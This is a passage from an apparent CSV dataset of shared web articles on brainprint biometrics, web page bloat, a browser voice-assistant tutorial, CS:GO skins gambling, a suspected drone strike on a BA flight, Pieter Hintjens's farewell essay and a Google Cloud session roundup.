gustatory/appetitive systems). Results indicate that there are multiple configurations of data collected with the CEREBRE protocol that all allow 100% identification accuracy in a pool of 50 users. We take this result as the evidence that ERP biometrics are a feasible method of user identification and worthy of further research.",en
1461339106,CONTENT SHARED,1347061627677516149,-2979881261169775358,4821077593310495111,,,,HTML,http://www.kurzweilai.net/you-can-now-be-identified-by-your-brainprint-with-100-accuracy,You can now be identified by your 'brainprint' with 100% accuracy | KurzweilAI,"Binghamton University researchers have developed a biometric identification method called Cognitive Event-RElated Biometric REcognition (CEREBRE) for identifying an individual's unique ""brainprint."" They recorded the brain activity of 50 subjects wearing an electroencephalograph (EEG) headset while looking at selected images from a set of 500 images. The researchers found that participants' brains reacted uniquely to each image - enough so that a computer system that analyzed the different reactions was able to identify each volunteer's ""brainprint"" with 100 percent accuracy. In their original brainprint study in 2015, published in Neurocomputing (see 'Brainprints' could replace passwords ), the research team was able to identify one person out of a group of 32 by that person's responses, with 97 percent accuracy. That study only used words. Switching to images made a huge difference. High-security sites It's only a three-point difference, but going from 97 to 100 percent makes possible a reliable system for high-security situations, such as ""ensuring the person going into the Pentagon or the nuclear launch bay is the right person,"" said Assistant Professor of Psychology Sarah Laszlo. ""You don't want to be 97 percent accurate for that, you want to be 100 percent accurate."" Laszlo says brain biometrics are appealing because they can be cancelled (meaning the person can simple do another EEG session) and cannot be imitated or stolen by malicious means, the way a finger or retina can (as in the movie Minority Report ). ""If someone's fingerprint is stolen, that person can't just grow a new finger to replace the compromised fingerprint - the fingerprint for that person is compromised forever. Fingerprints are 'non-cancellable.' Brainprints, on the other hand, are potentially cancellable. So, in the unlikely event that attackers were actually able to steal a brainprint from an authorized user, the authorized user could then 'reset' their brainprint,"" Laszlo explained. Analyzing ""event-related potential"" brain signals The researchers found in their original study that the key to detecting differences in brain signals was to look at and analyze "" event-related potential (ERP) brain signals recorded from each subject. ERPs are brain signals that are triggered by specific events (such as seeing a photo). Unlike EEG signals, ERPs are unique and happen over a period of a few milliseconds. How ERPs are identified The researchers used six types of stimuli in the CEREBRE protocol: sine gratings, low frequency words, color versions of black and white images, black and white foods, black and white celebrity faces, and color foods. For the foods and celebrity faces, they used ten tokens of each stimulus type (e.g., 10 different foods). As the authors note in a new paper in The IEEE Transactions on Information Forensics and Security , ""We ... predict that, while ERPs elicited in response to single categories of stimulation (e.g., foods) will be somewhat identifiable, combinations of ERPs elicited in response to multiple categories of stimulation will be even more identifiable. ""This prediction is supported by the likelihood that each category of stimulation will draw upon differing (though overlapping) brain systems. For example, if the sine gratings call primarily upon the primary visual cortex, and the foods call primarily on the ventral midbrain, then considering both responses together for biometric identification provides multiple, independent, pieces of information about the user's functional brain organization - each of which can contribute unique variability to the overall biometric solution."" Andrew Hatling/Binghamton University | The New Biometric - Brainprint Abstract of CEREBRE: A Novel Method for Very High Accuracy Event-Related Potential Biometric Identification The vast majority of existing work on brain biometrics has been conducted on the ongoing electroencephalogram. Here, we argue that the averaged event-related potential (ERP) may provide the potential for more accurate biometric identification, as its elicitation allows for some control over the cognitive state of the user to be obtained through the design of the challenge protocol. We describe the Cognitive Event-RElated Biometric REcognition (CEREBRE) protocol, an ERP biometric protocol designed to elicit individually unique responses from multiple functional brain systems (e.g., the primary visual, facial recognition, and gustatory/appetitive systems). Results indicate that there are multiple configurations of data collected with the CEREBRE protocol that all allow 100% identification accuracy in a pool of 50 users. We take this result as the evidence that ERP biometrics are a feasible method of user identification and worthy of further research.",en
1461339124,CONTENT SHARED,5937899505996968869,-2979881261169775358,4821077593310495111,,,,HTML,https://mobiforge.com/research-analysis/the-web-is-doom,The web is Doom - mobiForge,"In July 2015 I suggested that the average web page weight would equal that of the Doom install image in about 7 months time. In about 7 months average web page size will be same as Doom install image. Well done us! Onwards & upwards! pic.twitter.com/xtSAtZjPGl - ronan cremin (@xbs) July 30, 2015 Well, we've made it , albeit a bit later than expected. This is where we are today: Recall that Doom is a multi-level first person shooter that ships with an advanced 3D rendering engine and multiple levels, each comprised of maps, sprites and sound effects. By comparison, 2016's web struggles to deliver a page of web content in the same size. If that doesn't give you pause you're missing something. So where does this leave us? Overall trends in page size First, the good news. The remarkably straight line that charted the web's creeping bloat over the years to 2015 looks to have softened ever so slightly-the slope is now slightly lower than the historical average. The bad news is that we're still adding weight almost as fast as before. Top performers vs. the rest While the overall average page size is increasing inexorably, it's worth looking at the weight of the top ten websites separately. The following chart shows the progression of the global average page weight vs. the top ten websites. There are two points of note here. The top ten sites are significantly lighter than the rest (worth noting if you want to be a top website). While the web in general is steadily getting heavier, the top sites have turned the corner. Readers will point out that the some of the top sites are search engines and thus they have an easier job in keeping things light but even so the second point still stands: they are getting lighter, not heavier. Note also that the top ten websites list includes some relatively rich sites such as Amazon. Note: the average page size figure cited here obscures a lot of important detail. Ilya Grigorik points out that web page weights are not normally distributed so the intuitive sense of average value is misleading in this case (as it often is). As Ilya says : Let's start with the obvious: the transfer size is not normally distributed, and there is no meaningful ""central value"" and talking about the mean is meaningless, if not deceiving. He is of course correct-in this case the average figure is overly influenced by very large outliers or, to put it another way, the desktop web in particular has a long and heavy tail (mobile web is less tail-heavy). Sometimes the median value (middle value of a series) gives a better sense of what people experience but ultimately cumulative distribution functions are the only way to accurately describe the reality. Outlook for the web 2015 was clearly a crisis year for the web. Multiple events raised awareness of just how bad performance had gotten: ad blockers arrived on iOS; Facebook and then Google announced schemes to help make the web faster; web page bloat even made the pages of the New York Times . Vox Media (the company behind The Verge) declared performance bankruptcy . While ads are still the web's pantomime villain the reality is that we haven't been paying enough attention to performance. As the web went through its awkward teenage years we let creeping featuritus take hold and eventually clutter simply got the better of us. New JavaScript gallery module? Sure, why not? Oooh that new web font would look nice here but why not add a another analytics tool while we're in there? Should I bother resizing this 6,000 pixel image? Nah, let the browser do it, works for me. Technology adoption sometimes follows a pattern of early experimentation → overuse → sensible long-term level. In the 1990's when desktop publishing technology suddenly became accessible at a much lower price point thanks to PCs and cheap DTP software people went crazy-the more colours and fonts you could cram onto a page the better. It took many years for this trend to peter out and settle down to a point where creativity and user experience found their balance. It's clear that awareness of web performance amongst leading practitioners is now heightened sufficiently for change. But as you can see from the graphs above this awareness hasn't yet trickled down to everyone else-the top ten websites are generally leading indicators, the rest will hopefully follow later. But changes are already well underway: WordPress's support for responsive images in version 4.4 alone will make a big difference to the global average page size, since WordPress powers about 26% of websites; Drupal 8 has done the same by adding a responsive images module into the core. There will be a virtuous circle effect here: as key sites improve their performance the slower ones will stand out even more. AMP and Facebook Instant Articles will serve to remind people just how fast the web can be. Google is sending ever-stronger signals how performance will affect rankings and may even add a ""slow"" label to sites. There is nothing like the harsh light of search engine rankings to effect change-even creeping bloat may have met its match. Far from being doomed 2015 was the best year for the web in a long time and 2016 looks set to continue this momentum. But let's not waste the web bloat crisis. EDITED 20/04/2016 to add comment about average page weight",en
1461339172,CONTENT SHARED,6484776051882277624,-2979881261169775358,4821077593310495111,,,,HTML,http://iceddev.com/blog/jarvis-an-amazon-echo-clone-in-your-browser/,Jarvis: an Amazon Echo clone in your browser with PageNodes,"Virtual assistants are all the rage and the big tech companies all have them now. Siri, Google, Cortana, and of course Alexa on the Amazon Echo . Having a verbal conversation with your computer is the future! Amazon recently put together a tutorial on building an Echo clone with a Raspberry Pi, a mic, and speakers. It's a great way to get started building the bridge from Star Trek in your living room. Modern web browsers also have built in voice capabilities. Let's explore what we can do with those. The WebSpeech API provides SpeechSynthesis and SpeechRecongintion objects to use in secure web pages. PageNodes.com , our web-based IoT platform, makes this very simple to use. Brett Warner implemented the SpeechSynthesis API with a PageNodes output node. Drop one on to the page, click the deploy button, send it a text payload, and turn up your computer's speakers. Following that, Sam Clark created a voice recognition input node using the SpeechRecongintion API. Drop one on to the page and it will start emitting messages as you speak to it. While I was entertaining myself by having the computer say bad words, Alyson Zepeda decided to actually make something useful. After maybe five minutes of hacking, Aly created: To make your own Jarvis virtual assistant, you're going to want to have PageNodes take speech input, do something interesting with the text it collects, then have it say something in response with a cool English accent. First, let's only process speech input that starts with 'jarvis'. Well let's process text that at least sounds like it starts that way. Chrome's voice rec is pretty good, but not perfect. Inside of the funciton node we have access to the excellent lodash library to help make the code simpler: var parsed = msg.payload.split("" ""); var match = ['jarvis', 'service', 'nervous', 'travis']; if(parsed && parsed.length > 1 && _.includes(match, parsed[0].toLowerCase())){ //we're talking to jarvis! parsed.shift(); var query = parsed.join(' '); //let's do something with the query here: msg.payload = 'Something cool!'; return msg; } return null; If the function node returns something other than null, it will flow on to the next node. Next, let's have the function node put together the parameters we need and then to send a web request to the google search engine. Setup your HTTP request node to be a GET request and have a url of: We'll modify the code from above to set parameters for the web request. var parsed = msg.payload.split("" ""); var match = ['jarvis', 'service', 'nervous', 'travis']; if(parsed && parsed.length > 1 && _.includes(match, parsed[0].toLowerCase())){ //we're talking to jarvis! parsed.shift(); var query = parsed.join(' '); msg.params = { q: query, cr: 'US', cx: '003265628676327108248:v26ein-gdfq', num: 10, key: ' - My Web Key - ' }; return msg; } return null; The cx property in the msg.params is the custom google search engine we're using. If you'd like to create your own, you can do it here: To obtain a web key you'll need log into the google API console and create a project. You'll also need to click the credentials link to to make the web key for that project. Finally, we'll take the response, pull out the text we want, and feed it into the SpeechSynthesis node. The response we get is in JSON format already, we just need to grab the first item then send the new payload along. if(msg.payload && msg.payload.items){ answer = msg.payload.items[0].snippet; if(answer.length > 150){ //speech sometimes doesn't like huge strings. answer = answer.substring(0,150); } msg.payload = answer; return msg; } return null; And there you have it. A browser-based Jarvis virtual assistant! PageNodes.com gives you the ability to export and import flows. The flow we just built can be loaded by simply importing this json and editing the function node to insert your own web key: [{""id"":""4721875f.f2b108"",""type"":""voice rec"",""z"":""f9740f89.10f39"",""name"":"""",""x"":93,""y"":68,""wires"":[[""f1138943.020728""]]},{""id"":""f1138943.020728"",""type"":""function"",""z"":""f9740f89.10f39"",""name"":""filter speech"",""func"":""var parsed = msg.payload.split(\"" \"");\nvar match = ['jarvis', 'service', 'nervous', 'travis', 'target'];\n\nif(parsed && parsed.length > 1 && _.includes(match, parsed[0].toLowerCase())){\n parsed.shift();\n var query = parsed.join(' ');\n \n msg.params = {\n q: query,\n cr: 'US',\n cx: '003265628676327108248:v26ein-gdfq',\n num: 10,\n key: ' -- my key --'\n };\n return msg;\n \n}\n\nreturn null;"",""outputs"":1,""noerr"":0,""x"":226,""y"":156,""wires"":[[""e7caa57f.ff5178""]]},{""id"":""e7caa57f.ff5178"",""type"":""http request"",""z"":""f9740f89.10f39"",""name"":"""",""method"":""GET"",""ret"":""txt"",""url"":"" [[""26353cb7.750f34""]]},{""id"":""26353cb7.750f34"",""type"":""function"",""z"":""f9740f89.10f39"",""name"":""process response"",""func"":""if(msg.payload && msg.payload.items){\n answer = msg.payload.items[0].snippet;\n \n if(answer.length > 150){\n answer = answer.substring(0,150);\n }\n \n msg.payload = answer;\n \n return msg;\n}\n\nreturn null;"",""outputs"":1,""noerr"":0,""x"":463,""y"":162,""wires"":[[""5895c041.a6c08""]]},{""id"":""5895c041.a6c08"",""type"":""espeak"",""z"":""f9740f89.10f39"",""name"":"""",""variant"":""Google UK English Male"",""active"":true,""x"":579,""y"":68,""wires"":[]}] Getting google results by talking to a computer is a great first step, but that might be something your phone can do already. Custominzing our filtering function lets us connect to other webservices or even hardware devices! All we have to do is change the number of outputs our filtering function has, and respond with an array of answers to match those outputs. Our filtering function might look something more like: var parsed = msg.payload.split("" ""); var match = ['jarvis', 'service', 'nervous', 'travis', 'target']; if(parsed && parsed.length > 1 && _.includes(match, parsed[0].toLowerCase())){ parsed.shift(); var query = parsed.join(' '); if(_.startsWith(query.toLowerCase(), 'robot')){ msg.payload = 'destroy!'; return [msg, null, null]; } else if(_.startsWith(query.toLowerCase(), 'i love you')){ msg.payload = 'I love you too.'; return [null, msg, null]; } else{ msg.params = { q: query, cr: 'US', cx: '003265628676327108248:v26ein-gdfq', num: 10, key: ' -- my key --' }; return [null, null, msg]; } } return null; We can then connect the corresponding outputs to different nodes. Here's a quick video of using Jarvis: This is still just the beginning... Here's a few more ideas to help you get started: Use Web USB and johnny-five with Jarvis for some home automation. Use the Web Camera node to tell Jarvis to snap a selfie for you. Connect to language processing services like wit.ai . Use our local storage nodes and have Jarvis be your personal note taking service. Send your voice commands to a meshblu node and into Octoblu's IoT cloud. Use our geolocation node to attach your location for localized search results. Send POST requests to IFTTT's maker channel . Connect ALL THE THINGS to ALL THE THINGS ! We'd love to hear what you're building. Leave a comment or tweet at us.",en
1461339187,CONTENT SHARED,1362723651715193305,-2979881261169775358,4821077593310495111,,,,HTML,http://www.bloomberg.com/features/2016-virtual-guns-counterstrike-gambling/,Virtual Weapons Are Turning Teen Gamers Into Serious Gamblers,"The video game Counter-Strike: Global Offensive, in which players form teams of terrorists and counterinsurgents and shoot at one another, is a favorite of the professional e-sports circuit. A tournament in early April sold out Nationwide Arena in Columbus, Ohio, where the NHL's Blue Jackets play, and generated 71 million online views over four days. In May, TBS and WME/IMG will launch their own league for CS:GO, as the game is called, streaming games online and broadcasting them on TV on Friday nights. The game's current success has made it easy to forget that CS:GO wasn't an immediate hit for game maker Valve. It was the latest in the aging Counter-Strike series and came out at a time when there was no shortage of other shoot-'em-up games to choose from. Everything changed when Valve introduced something new: decorative virtual weapons, known as ""skins,"" that could be acquired in the game and sold for real money. In-game purchases weren't new, but the cash trade was Valve's special twist. Within two years, the number of people playing CS:GO had grown 1,500 percent. Today, there are 380,000 people around the world playing the game at any given time. When it introduced the skins, Valve said in an announcement that the online arms bazaar would let Counter-Strike players ""experience all the thrills of black-market weapons trafficking without any of the hanging around in darkened warehouses getting knifed to death."" It was supposed to be a joke. But the reference to black markets was prescient. Reasonable people can debate whether competitive video gaming is a sport, but it has at least one thing in common with football, basketball, and soccer: People like to bet on the outcome. For CS:GO, the introduction of skins led to a thriving gambling market. People buy skins for cash, then use the skins to place online bets on pro CS:GO matches. Because there's a liquid market to convert each gun or knife back into cash, laying a bet in skins is essentially the same as betting with real money. CS:GO's popularity skyrocketed along with the skins gambling markets. Valve has sold 21 million copies of the game and made $567 million in total revenue from the title since it debuted almost four years ago, according to research firm SuperData, and a range of websites now let players trade or sell skins, or use them to gamble. This kind of betting is far from mainstream, but plenty of people are figuring it out. By one estimate, more than 3 million people wagered $2.3 billion worth of skins on the outcome of e-sports matches in 2015. This, too, has contributed to Valve's bottom line. The gambling sites run on software built by Valve, and whenever CS:GO skins are sold, the game maker collects 15 percent of the money. ""Nothing about Counter-Strike is about the game anymore,"" says Moritz Maurer, head of e-sports integrity at gambling watchdog SportIM. ""It's all about betting and winning."" Unregulated gambling on sports is illegal almost everywhere in the world, and some lawyers say this qualifies. The highest levels of competition in pro gaming have already seen match fixing by people looking to profit from skins gambling. Valve has ferreted out cheaters at times, but it has not discouraged gambling on its games, nor made any attempt to prevent people from using its products as currency. The company did not respond to repeated requests for comment for this story. Gambling on Counter-Strike appeals to the game's biggest fans: teenage boys. Sven, a Dutch 16-year-old, is pretty typical. He and his friends play CS:GO and watch pros play online. Sven said he first tried skins betting after a friend told him that people were making tens of thousands of dollars doing it, and his interest in CS:GO has shifted. ""Ever since I have been betting, I have been playing less,"" he said. ""You're really hyped and hoping that your team will win. Every kill they get, every round they win, you get way more excited."" Sven places his bets on an independent website called CSGO Lounge, the biggest destination for Counter-Strike skins gamblers. It provides scant information about its owners, how it complies with local gambling laws, or whether it has any consumer protections in place. Sven is unperturbed. After all, CSGO Lounge has one of the biggest names in video games in its corner. ""I fully trust this site since everyone in the community uses it,"" he said. ""It's even been recognized and helped by Valve."" Based in Bellevue, Wash., Valve is revered in the video game industry. It makes a handful of popular games including the Defense of the Ancients (DotA) series, and runs Steam, an online marketplace that is to PC gaming what Apple's App Store is to smartphone apps. The private company doesn't release sales figures, but researcher PrivCo estimates that in 2013 it made a $325 million profit on $1.6 billion in revenue. Gabe Newell, one of its co-founders and the public face of the company, is worth about $2.2 billion , according to Forbes . Valve takes its virtual economies seriously. At one point, Newell enlisted Greek economist Yanis Varoufakis to help with thorny issues like creating shared currencies between separate virtual economies. (After leaving Valve, Varoufakis became Greece's minister of finance.) At Valve's 2014 developers conference , employee Kyle Davis explained the thinking behind the strategy. The best way to get players deeply engaged in games, the company had determined, was to give away virtual items of random value and encourage a robust market to trade them. ""This is not an accident. This is by design,"" he said. ""We see more blogs popping up and more and more e-mails from our players saying, 'I'm not really sure what happened but I've been playing DotA for the last week or two, and I made $100 selling these items that I got.' This is hugely successful for us."" Davis declined an interview request for this story. Buying and selling in-game stuff for real-world money has become a common feature of video games, and encouraging players to buy virtual merchandise has become a predominant business model for game companies. But Valve is unique in letting players transfer their virtual possessions to third-party sites, many of which offer gambling. There, users with names such as bulletpoint and ravenouskilljoy stake skins on pro teams. There are also ways to wager that have nothing to do with CS:GO contests. One website runs multiple lottery-style contests per minute, where a player's odds of winning rise with the value of the skins wagered. Another operates a game that looks like roulette. These sites, while independently run, use Valve's software and pay out in skins. Valve employees also communicate with CSGO Lounge and have given technical support to the site, said Courtney Timpson, a community administrator and spokesman for CSGO Lounge. The Valve logo is prominently displayed on the site, and in one post on its forum, a moderator addresses people-especially the ""younger audience""-who feel that they have been scammed. ""If something is wrong, don't post on the forums; contact Valve/Steam,"" the moderator writes. The growth in this kind of gambling tracks the growing popularity of e-sports. Millions of people around the world-especially boys and men under the age of 25-now spend their free time watching young, headset-wearing players furiously type and click through online battles. It can be hard to follow the action, but fans of traditional sports should recognize the basic structure. There are teams, leagues, sponsorships, media deals, and, increasingly, money. When Turner Broadcasting and its partners turned to e-sports to attract an audience that isn't watching much basic cable, they built their strategy around Counter-Strike. With familiar graphics and a spy-vs.-spy structure, CS:GO is far more accessible than fantasy games like League of Legends, which look like an incomprehensible frenzy of bizarre creatures casting spells on one another to the novice viewer. Watching digitally rendered humans shoot one another is relatively simple by comparison. Turner and WME/IMG did not comment for this story. Promoters of pro gaming are widely interested in betting. E-sports books and skins websites are active sponsors in the space. Those companies aiming to develop regulated sports books cast a wary eye on skins gambling, which they see as illegal competition. ""There's no doubt that regulators will catch up with them, and it will be a sad day for the people who operate these sites,"" said Bryce Blum, general counsel for Unikrn, an e-sports gambling firm in Seattle that's licensed to operate somewhat like a traditional sports book in countries where sports gambling is regulated. It bars U.S. bettors. For now, the unregulated guys are winning. CSGO Lounge is one of the 700 most popular sites in the world. (In March, 38 million people visited the site, almost five times the traffic of popular online sports book Bovada.lv.) Every day brings a new series of matches, some of which draw action from tens of thousands of accounts. The average match draws $134,000 in skins wagers, according to sports gambling watchdog SportIM, but some fetch much more. One of the most popular matches so far this year, a March contest between teams named Luminosity and Fnatic, drew almost $1.2 million in bets. This kind of money is bound to cause temptation, and rumors of match fixing are rampant. Earlier this year, reports of a particularly high-profile incident reached Valve, and the company contacted CSGO Lounge to help identify the culprits, according to Timpson. In the end, Valve banned seven players from events it sponsors, and forbade professional players and team staff from gambling on matches, associating with high-volume gamblers, or sharing inside information. It didn't take any visible action against the gambling sites themselves. In the U.S., sports betting is illegal in 46 states. CSGO Lounge reminds players to adhere to local gambling laws but doesn't use technology to restrict players based on geography, as many other gambling sites do. More people visit the site from the U.S. than any other country after Russia. It's not surprising that skins gambling has avoided legal scrutiny. Obscured by several layers of abstraction, the wagering is tucked away in a subculture that most mainstream legal authorities don't know exists. Gaming lawyers say Valve could be legally vulnerable; on the other hand, this is a rapidly changing area of the law with little established precedent. In a handful of cases, judges have ruled that activities carried out entirely with virtual goods within video games shouldn't be considered gambling, because they have no connection to the real world. ""Even in the Internet age, there is a crucial distinction between that which is pretend and that which is real and true,"" U.S. District Judge James Bredar wrote in October, dismissing a suit against mobile gaming company Machine Zone. ""The laws of California and Maryland do not trifle with play money."" Like the companies that have successfully defended themselves in court, other prominent game makers, including Zynga, Riot, and Activision Blizzard, have been aggressive about keeping virtual currencies separate from real ones. Valve has not: Its software enables an explicit connection between in-game goods and off-line cash. Ryan Morrison is a lawyer in New York who specializes in legal issues related to video games. Over the last four months, he says he has received more than two dozen inquiries from people who want to sue Valve after losing money gambling with skins. Many of them are underage, and the biggest losses extend into the thousands of dollars. Underage gamblers are often unwittingly subsidized by their parents, because the skins they're purchasing to bet with show up as charges on the Steam accounts. None of them would agree to speak to a reporter. Morrison gets visibly worked up when discussing skins gambling. ""Valve acts as if they're a 10-person indie company,"" he said. ""I am shocked that they let this go on.""",en
1461339200,CONTENT SHARED,1400543852157442197,-2979881261169775358,4821077593310495111,,,,HTML,http://www.telegraph.co.uk/news/2016/04/21/drone-believed-to-have-hit-british-airways-flight-may-have-been/,Drone believed to have hit British Airways flight 'may have been a plastic bag',"Mr Goodwill said: ""The reported drone strike on Sunday has not been confirmed it was actually a drone. It was the local police force that tweeted that they had a report of a drone striking an aircraft. ""And indeed the early reports of a dent in the front of the plane were not confirmed - there was no actual damage to the plane and there's indeed some speculation that it may have even been a plastic bag or something. ""I've not actually landed a 747 at Heathrow but I've landed the simulator and the pilot has a lot of other things to concentrate on so we're not quite sure what they saw so I think we should maybe not overreact too much."" Asked what the Government could do to tighten the rules on drone use, Mr Goodwill said: ""There are already existing laws in place that require the user of drones to maintain direct unaided visual contact with their vehicle and not to recklessly or negligently permit an aircraft to endanger any person or property. ""So this instance that we've read about and is alleged were already breaking existing legislation and the Department [of Transport] and the Civil Aviation Authority (CAA) are working with a wide range of industry partners across the sector, including manufacturers, airports and airlines to ensure our understanding of potential hazards to aircrafts remains up-to-date.""",en
1461339217,CONTENT SHARED,2415534163825594672,-2979881261169775358,4821077593310495111,,,,HTML,http://hintjens.com/blog:115,Hintjens.com,"First: blog:1 Elegant Little Pieces Edited: by: pieterh Comments: 0 Tags: unprotocols Previous: blog:114 Why I've Quit Twitter Edited: by: pieterh Comments: 10 Tags: pieterh wrote on Time for my last article. I could probably write more, yet there are times for everything and after this, my attention will be focused on the most comfortable position for my bed, the schedule for pain killers, and the people around me. Yesterday I had twelve visitors, including my lovely young children. You'd think it's exhausting, yet the non-stop flow of friends and family was like being in a luxurious hot bath with an infinite supply of fresh water. I was a disconnected and lonely young man. Somewhat autistic, perhaps. I thought only of work, swimming, my pet cats. The notion that people could enjoy my company was alien to me. At least my work, I felt, had value. We wrote code generators in Cobol. I wrote an editor that was immensely popular in our company because it worked elegantly, and worked on every platform we ran on. I taught myself C and 8086 assembler and wrote shareware tools. Over time I learned that if you chat with a stranger, in the course of any kind of interaction (like buying a hot dog, or groceries) they'll chat back with a powerful beam of pleasure. Slowly, like a creeping addiction to coffee, this became my drug of choice. In time it became the basis, and then the goal of my work: to go to strange places and meet new people. I love the conferences because you don't need an excuse. Everyone there wants, and expects, to talk. I rarely talk about technical issues. Read the code. And so I'm proud of my real work, which has been for decades, to talk with people, listen and exchange knowledge, and then synthesize this and provide it on for others. I'll take whatever credit people want to give me for being creative, brilliant, etc. Yet the models and theories I've shaped and documented are consistently drawn from real-life experience with other people. Thank you, my friends, for that. When I say ""I love you"" it's not some gesture. You literally kept me fed, professionally and intellectually. So I wanted to document one last model, which is how to die, given some upfront knowledge and time. I'm not going to write an RFC this time. :) How it Happened Technically, I have metastasis of bile duct cancer, in both lungs. Since February I've had this dry cough, and been increasingly tired and unfocused on work. In March my Father died and we rushed around arranging that. My cough took a back seat. On April 8 I went to my oncologist to say that I was really not well. She organized a rush CAT scan and blood tests. On 13 April, a horrific bronchoscopy and biopsies. On 15 April, a PET scan. On 16 April I was meant to drive to Eindhoven to keynote at NextBuild. Instead I went to the emergency room with explosive pains in my side, where they'd done the biopsies. I was checked in and put on antibiotics, which fixed the pain, and on 25 April my oncologist confirmed it was cancer. I'm still here, and my doctors are thinking what chemo to try on me. It is an exotic cancer in Europe with little solid data. What we do know is that cholangiocarcinoma does not respond well to chemotherapy. Further, that my cancer is aggressive and fast moving. Third, I've already some clusters in other parts of my body. All this is clear and solid data. So that day I told the world about it, and prepared to die. Talking to a Dying Person It can be horribly awkward to talk to a dying person (let's say ""Bob""). Here are the main things the other person (let's say ""Alice"") should not say to Bob: ""Hang in there! You must have hope, you must fight !"" It's safe to assume that Bob is fighting as hard as possible. And if not, that's entirely Bob's choice. ""This is so tragic, I'm so sad, please don't die!"" Which my daughter said to me once, and then I explained that you cannot argue with facts. Death is not an opinion. Being angry or sad at facts is a waste of time. ""You can beat this! You never know!"" Which is Alice expressing her hope. Hope is not a medicine. A good chemotherapy drug, or a relaxing painkiller, that's medicine. ""There's this experimental cure people are talking about,"" Which gets the ban hammer from me, and happily I only got a few of those. Even if there was a miracle cure, the cost and stress (to others) of seeking it is such a selfish and disproportionate act. With, as we know, lottery-style chances of success. We live, we die. Here are the things that Alice can talk about that will make Bob happy: Stories of old adventures they had together. Remember that time? Oh boy, yes I do... it was awesome ! Clinical details. Bob, stuck in his bed, is probably obsessed by the rituals of care, the staff, the medicines, and above all, his disease. I'll come to Bob's duty to share, in a second. ""Let me know if I can do anything for you."" It's not a question, just a statement. Mostly, Bob needs no help, and then here and there he will need it. ""I bought your book,"" assuming Bob is an author like me. It may be flattery, or sincere, either way it'll make Bob smile. Above all, express no emotions except happiness, and don't give Bob new things to deal with. Bob's Duties It's not all Alice's work. Bob too has obligations under this protocol. They are, at least: Be happy. This may sound trite yet it's essential. If you are going to be gloomy and depressed, Alice will be miserable every time she talks to you. Obviously, put your affairs in order. I've been expecting death for years now, so had been making myself disposable wherever I could. For family, that is not possible. For work, yes, and over the years I've removed myself as a critical actor from the ZeroMQ community. Remove all stress and cost that you can. For example Belgium permits euthanasia. I've already asked my doctors to prepare for that. (Not yet!, when it's time...) I've asked people to come say goodbye before I die, not after. No funeral. I'll give my remains to the university here, if they want them. Be realistic. Hope is not medicine, as I explained. If you are going to negotiate with your doctors, let it be pragmatic and in everyone's interests. I've told mine they can try whatever experimental chemotherapy they wish to. It's data for them, and the least I can do for a system that's given me five+ years of extra life. Assume the brutal worst. When my oncologist saw my scan she immediately called me and told me, in her opinion, it was cancer. In both lungs, all over the place. I put the phone down, and told the children. The next day I told their schools to expect the worst, then my lawyer, then my notary. Ten days later the biopsies confirmed it. That gave us ten more days of grieving and time to prepare. Be honest and transparent with others. It takes time to grieve and it is far easier to process Bob's death when you can talk about it with Bob. There is no shame in dying, it is not a failure. Explaining to the Children My kids are twelve, nine, five. Tragic, etc. etc. It is a fact: they will grow up with me in their DNA, on Youtube as endless conference talks, and in writing. I've explained it to them slowly, and many times over the years, like this. One day, I will be gone. It may be long away, it may be soon. We all die, yes, even you little Gregor. It is part of life. Imagine you have a box of Lego, and you build a house, and you keep it. And you keep making new houses, and never breaking the old ones. What happens? ""The box gets empty, Daddy."" Good, yes. And can you make new houses then? ""No, not really."" So we're like a Lego houses, and when we die our pieces get broken up and put back in the box. We die, and new babies can be born. It is the wheel of life. But mostly I think seeing their parent happy and relaxed (not due to pain killers), and saying goodbye over weeks and perhaps months and years, feels right. I am so grateful not to have died suddenly. And I've taught my children, to swim and bike and skate and shoot. To cook, to travel and to camp. To use technology without fear. At three, Gregor was on Minecraft, keyboard in left hand, mouse in right. At seven, Noemie learned to shoot a pistol. They speak several languages. They are confident sponges who can learn, like their dad, anything, if it seems worthwhile. Euthanasia I am, finally, so glad I never quit Belgium. This country allows for death on demand, for patients who are terminal or have a bad enough quality of life. It takes three doctors and a psychiatrist, in the second case, and four weeks' waiting period. In the first case, it takes one doctor's opinion. My dad chose this, and died on Easter Tuesday. Several of us his family were with him. It is a simple and peaceful process. One injection sent him to sleep, into a coma. The second stopped his heart. It was a good way to die, and though I didn't know I was sick then, one I already wanted. I'm shocked that in 2016 few countries allow this, and enforce the barbaric torture of decay and failure. It's especially relevant for cancer, which is a primary cause of death. Find a moment in your own jurisdiction, if it bans euthanasia, to lobby for the right to die in dignity. My Feelings on All This I've never been a fearful person. My last brush with death left me so casual about the whole concept of professional and social risk that I became the predatory character Allen Ding so nicely describes. That calmed down after our Game of Thrones project ended. It was never really me, just the person I became to make things work, in that place and time. Having had years to prepare for this, and having seen a great many delicate plans come together over those years, leaves me deeply satisfied. Since 2011 I've become an expert pistol shot, taught myself to play piano (and composed many small pieces), seen my children grow into happy, bubbling characters, written three books, coached the ZeroMQ community into serene self-reliability. What more can a Bob ask for? The staff here are lovely. I've no complaints, only gratitude to all my friends for the years of pleasure you've given me, my drug, which kept me alive and driven. Thank you! :) Think of the Children Please use this article to add your stories. If you have them elsewhere, or you emailed me, copy/paste as a comment. Feel free to write in Dutch or French if that's your language. I'd really like a single place where my kids can come and read what other people say about their dad.",en
1461344060,CONTENT SHARED,-7586203274767893481,3891637997717104548,7193310605388843604,,,,HTML,https://cloudplatform.googleblog.com/2016/04/top-5-GCP-NEXT-breakout-sessions-on-YouTube-so-far.html,Top 5 GCP NEXT breakout sessions on YouTube (so far),"Couldn't make it to GCP NEXT last month? Lucky for you, recordings of over thirty sessions are up on YouTube to watch and learn from. But with so much quality content to watch, where do you start? Leaving aside the wildly popular Data Center 360 video that tours the Dalles, Oregon facility (one million views and counting), and must-see Day One keynotes and Day 2 keynotes , here are the five most popular GCP NEXT breakout sessions on YouTube. What's the secret behind Google's legendary uptime? Three words: site reliability engineers. In "" How Google Does Planet-Scale Engineering for Planet-Scale Infrastructure "" Google engineering director Melissa Bindle lays out the relationship between SREs and developer teams, and how they ensure uptime for Google.com and Google Cloud Platform users. Even if your organization isn't operating at quite planetary scale, lessons abound for anyone that cares about building and operating resilient environments. What exactly is machine learning, and what can it do for you? In "" Build smart applications with your new superpower: cloud machine learning "" Google Developer Advocate Julia Ferraioli walks through the range of Google's machine learning options, from TensorFlow , to Google Cloud Machine Learning to the Machine Learning APIs. She's also joined by David Zuckerman, head of developer experience at Wix.com, who describes how it used Google machine learning to mine customer images with the new Vision API. Cloud Platform users do the darndest things. In Analyzing 25 billion stock market events in an hour with NoOps on GCP, 